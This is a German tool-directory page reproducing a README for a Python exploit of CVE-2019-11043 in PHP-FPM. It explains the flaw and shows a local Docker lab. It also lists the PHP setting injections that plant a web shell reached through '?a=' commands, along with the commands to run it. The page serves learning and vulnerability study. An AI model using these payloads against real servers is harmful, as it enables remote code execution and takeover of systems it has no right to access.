Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-11043 — PHP-FPM Remote Command Execution Exploit | Kitploit
Tools/GitHubGitHub/lindemer/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublindemer/cve-2019-11043

CVE-2019-11043

PHP-FPM Remote Command Execution Exploit

Repository anzeigen
42vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-11043

PHP-FPM Remote Code Execution

Screencast: https://youtu.be/d6benC5FVZM

Übersicht

Dieser Zero-Day-Exploit in gängigen PHP-FPM-Konfigurationen wurde während des Realworld CTF-Wettbewerbs im Jahr 2019 entdeckt. Ein regulärer Ausdruck wird verwendet, um die angeforderte URI zu parsen, aber Zeilenumbruchzeichen %0a werden nicht erfasst. Dies löst einen Fehler in FastCGI aus, der die Länge der Abfragezeichenfolge falsch berechnet und ein Nullbyte an eine Stelle vor dem Beginn des beabsichtigten Puffers schreibt. Durch sorgfältige Auswahl der Länge der Abfragezeichenfolge kann ein Angreifer diesen Fehler nutzen, um interne PHP-Variablen auf dem Server zu überschreiben und beliebigen Shell-Code auszuführen.

Die ursprüngliche Go-Implementierung dieses Exploits finden Sie hier. Ich habe diese, einen Artikel und den ursprünglichen Fehlerbericht als Lernressourcen verwendet, um den Exploit in Python zu implementieren.

Anleitung

Docker unter Linux Führen Sie sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 aus, um einen Barebone-NGINX/PHP-FPM-Server mit einem leeren Skript unter /script.php zu erstellen. Das Dockerfile für dieses Image ist hier verfügbar, obwohl es nicht erforderlich ist, um den genannten Befehl auszuführen.

Docker unter Mac Führen Sie sudo docker-compuse up -d aus dem Verzeichnis /php/CVE-2019-11043 des vulhub-Repositories aus. (Compose ist in Docker für Mac enthalten.)

Führen Sie das Exploit-Skript mit dem Befehl python3 exploit.py http://localhost:8080/script.php (oder /index.php, falls die zweite Option verwendet wurde) aus. Bei erfolgreicher Ausführung ist eine Web-Shell zugänglich, indem Sie Befehle an die URL nach ?a= anhängen (z.B., http://localhost:8080/script.php?a=uname -a).

N.B. Ich habe versucht, ein Ansible-Playbook für diese Aufgabe zu erstellen, bin aber auf einen ausschlaggebenden Bug gestoßen, der hier dokumentiert ist. Es ist nicht möglich, systemd-Dienste auf aktuellen Linux-Kerneln (z.B. jeder Ubuntu LTS-Version) mit einem Ansible-Playbook zu starten.

Theorie

Schwachstelle

PHP-FPM-Konfigurationsdateien enthalten eine Regel zum Abgleichen eingehender URI-Anfragen mit PHP-Skripten, die oft so aussieht:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

Dies sollte jede URI im Format /script.php/pathinfo abgleichen, aber . stimmt tatsächlich nicht mit Zeilenumbruchzeichen %0a überein. Wenn die URI einen Zeilenumbruch enthält, löst dies den folgenden Bug in der PHP-Implementierung aus:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

Das Problem hierbei ist, dass slen korrekt als Länge der URI minus der Länge des Ressourcenpfads berechnet wird, aber pilen fälschlicherweise auf 0 gesetzt wird. Dadurch wird path_info in Zeile 1151 auf einen negativen Wert gesetzt, was zu einem Buffer Underflow führt. Unmittelbar nach dieser Fehlberechnung in derselben Datei haben wir:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

In Zeile 1161 wird ein Nullbyte an die aus dem vorherigen Schritt falsch berechnete Speicheradresse geschrieben. Dies kann ausgenutzt werden, um eine Schwachstelle in Zeile 1165 auszunutzen, in der FastCGI eine Umgebungsvariable schreibt. Indem man das Nullbyte in den Zeiger schreibt, der die Schreiboperation der Umgebungsvariable steuert, können wir mit unseren HTTP-Anfragen beliebige PHP-Variablen in die Umgebung einfügen.

Exploit

FastCGI interne Datenstrukturen

Die Umgebungsvariablen in FastCGI werden in einer dicht gepackten Sequenz von Schlüssel-Wert-String-Paaren im Speicher gespeichert. Der Anfang und das Ende des Puffers, der diese Strings hält, wird _fcgi_data_seg genannt. Das pos-Mitglied zeigt auf die nächste verfügbare Schreibposition. Wenn der Puffer voll ist (pos > end), wird ein neuer alloziert und das next-Mitglied zeigt auf den alten.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI greift auf einzelne Umgebungsvariablen mit einer Hash-Tabelle namens _fcgi_hash zu.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

Die Idee hierbei ist, das niederwertigste Byte von pos zu überschreiben, um FastCGI dazu zu bringen, eine vorhandene Variable zu überschreiben. Der Code soll den an unseren URI-Pfad angehängten String nehmen und ihn an der Stelle für PATH_INFO platzieren. Wir möchten jedoch PHP_VALUE überschreiben, da dieser Wert unmittelbar nach dem anfälligen Codeabschnitt abgerufen und in die PHP-Einstellungen geladen wird.

Datenausrichtung

Wie in exploit.py zu sehen, besteht die grundlegende Prämisse dieses Exploits darin, eine sehr lange URI-Abfrage zu finden, die FastCGIs internen Speicherpuffer so ausrichtet, dass wir ihn missbrauchen können. Die Idee ist, die genaue Anzahl von Zeichen zu finden, die erforderlich ist, damit FastCGI einen neuen _fcgi_data_seg-Puffer alloziert. Wenn dies geschieht, schreibt FastCGI erwartungsgemäß unser PATH_INFO in den neuen Puffer, gefolgt sofort von jedem unserer HTTP-Header als neue Umgebungswerte. Der nächste Schritt besteht also darin, herauszufinden, wie viele Zeichen wir benötigen, um einen beliebigen HTTP-Header aufzufüllen, um den Speicher für unsere Zwecke auszurichten. Da wir darauf beschränkt sind, ein Nullbyte an eine beliebige Stelle zu schreiben, müssen wir pos auf einen vorhersagbaren Offset zu PHP_VALUE zeigen lassen, sodass das Bearbeiten des niederwertigsten Bytes es dorthin verschiebt.

Hash-Tabellen-Umgehung

Die Herausforderung besteht darin, dass wir PHP_VALUE überschreiben wollen, aber nicht wissen, wo es im Speicher liegt. Wenn FastCGI diese Variable lädt, hasht es den String PHP_VALUE, um die tatsächliche Speicheradresse gemäß einem einfachen Algorithmus zu erhalten:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

Anstatt die Hash-Tabelle tatsächlich zu modifizieren, müssen wir lediglich eine andere Umgebungsvariable mit derselben Stringlänge und demselben Hash wie PHP_VALUE gemäß dieser Funktion erstellen. Dies täuscht die Hash-Suche dazu, unseren HTTP-Header anstelle der beabsichtigten Variable zu lesen. Der Autor dieses Exploits hat klugerweise festgestellt, dass ein Header namens EBUT als HTTP_EBUT in der FastCGI-Umgebung gespeichert wird, was diese Anforderung erfüllt.

Code-Injektion

Für den Angriff selbst senden wir GET-Anfragen mit unserem EBUT-Header und verwenden den Nullbyte-Überschreibfehler, um dessen Wert zu überschreiben. Wir versuchen, PHP-Umgebungsvariablen nacheinander mit wiederholten Anfragen zu setzen:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

Die erfolgreiche Änderung all dieser Variablen ermöglicht eine neue Abfrage ?a= auf dem Server zur Ausführung beliebigen Shell-Codes. Die Angriffsschleife prüft bei jeder Iteration den Erfolg, indem sie versucht, which which auszuführen. Der Angreifer kann leicht erkennen, ob dies erfolgreich war, indem er das Ergebnis aus der HTTP-Antwort liest (z.B., /bin/which).

Tool herunterladen